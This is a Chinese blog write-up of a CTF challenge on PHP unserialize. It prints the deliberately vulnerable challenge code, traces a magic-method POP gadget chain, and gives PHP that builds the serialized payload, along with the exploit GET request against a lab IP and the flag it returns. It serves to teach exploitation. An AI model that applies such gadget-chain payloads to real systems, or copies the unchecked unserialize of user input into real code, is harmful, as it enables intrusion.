• 反序列化漏洞(3), CTF夺旗


    反序列化, CTF夺旗

    一, 代码审计

    1. 题目源码
    
    class start_gg {
        public $mod1;
        public $mod2;
        public function __destruct() {
            $this->mod1->test1();
        }
    }
    class Call {
        public $mod1;
        public $mod2;
        public function test1() {
            $this->mod1->test2();
        }
    }
    class funct {
        public $mod1;
        public $mod2;
        public function __call($test2,$arr) {
            $s1 = $this->mod1;
            $s1();
        }
    }
    class func {
        public $mod1;
        public $mod2;
        public function __invoke() {
            $this->mod2 = "字符串拼接".$this->mod1;
        } 
    }
    class string1 {
        public $str1;
        public $str2;
        public function __toString() {
            $this->str1->get_flag();
            return "1";
        }
    }
    class GetFlag {
        public function get_flag() {
            echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";
        }
    }
    $a = $_GET['string'];
    unserialize($a);
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    2. 分析调用链

    夺旗我们可以从调用链的终点开始分析.

    我们看到flag是在GetFlag类的get_flag()方法获取, 那么查找哪个类可以调用到 get_flag() , 找到 string1 类.

    string1 中调用了 __toString() 方法, 那么查找哪个类可以调用到 __toString() 方法, 看到 func 类中使用 mod1 做了字符串拼接, 那么定位到 func 类.

    func中调用了__invoke()方法, 那么查找哪个类里面有用函数形式调用对象的代码, 看到funct类中使用 s1() 的形式调用, 那么让mod1作为一个对象即可, 定位到funct类.

    funct 中使用了__call()方法, 那么查找哪个类里面调用了不存在的方法, 看到 Call 类中调用了不存在的方法test2(), 所以定位到 Call 类.

    Call 类中调用了 test1() 方法, 这不是一个魔术方法, 那么我们查看一下哪个类中直接调用了 test1() 这个方法, 看到在 start_gg 类中直接调用了test1()方法, 那么定位到 start_gg 类.

    到此为止所有的类已经被我们串联了起来, 以 GetFlag为终点, start_gg为起点形成调用链.

    二, 根据调用链编写POC

    根据我们分析的调用链顺序逐步实例化对象, 注意实例化哪个对象和它赋值给哪个属性, 搞错任何一个位置调用链就会失败.

    
    class GetFlag {
        public function get_flag() {
            echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";
        }
    }
    
    class string1 {
        public $str1;
        public $str2;
    
        public function __construct(){
            $this->str1 = new GetFlag();
        }
        
    }
    
    class func {
        public $mod1;
        public $mod2;
        
        public function __construct(){
            $this->mod1 = new string1();
        }
    }
    
    class funct {
        public $mod1;
        public $mod2;
    
        public function __construct(){
            $this->mod1  = new func();
        }
    }
    
    class Call {
        public $mod1;
        public $mod2;
        
        public function __construct(){
            $this->mod1  = new funct();
        }
    }
    
    class start_gg {
        public $mod1;
        public $mod2;
        
        public function __construct(){
            $this->mod1  = new Call();
        }
    }
    
    echo serialize(new start_gg()); // 序列化对象, 得到字符串
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55

    执行结果:

    O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
    
    • 1

    三, 利用漏洞获取flag

    根据题目源码的参数, 提交GET请求:

    http://192.168.112.200/security/unserial/ustest.php
    ?string=O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
    
    • 1
    • 2

    执行结果:

    flag:59DB9139E685F7D6A4A8784F9221066F
    
    • 1
  • 相关阅读:
    java毕业设计旧衣物捐赠系统(附源码、数据库)
    kubernetes,service详解下
    基于java中的springboot框架实现经方药食两用服务平台项目演示【内附项目源码+论文说明】
    vulnhub W34kn3ss: 1
    面试:Fragment懒加载
    基于萤火虫算法优化的BP神经网络预测模型(Matlab代码实现)
    新手学习c语言_第二部分
    并发编程--多线程基础知识总结
    导航url链接中获取参数
    python连接数据库失败怎么解决
  • 原文地址:https://blog.csdn.net/bua200720411091/article/details/134456927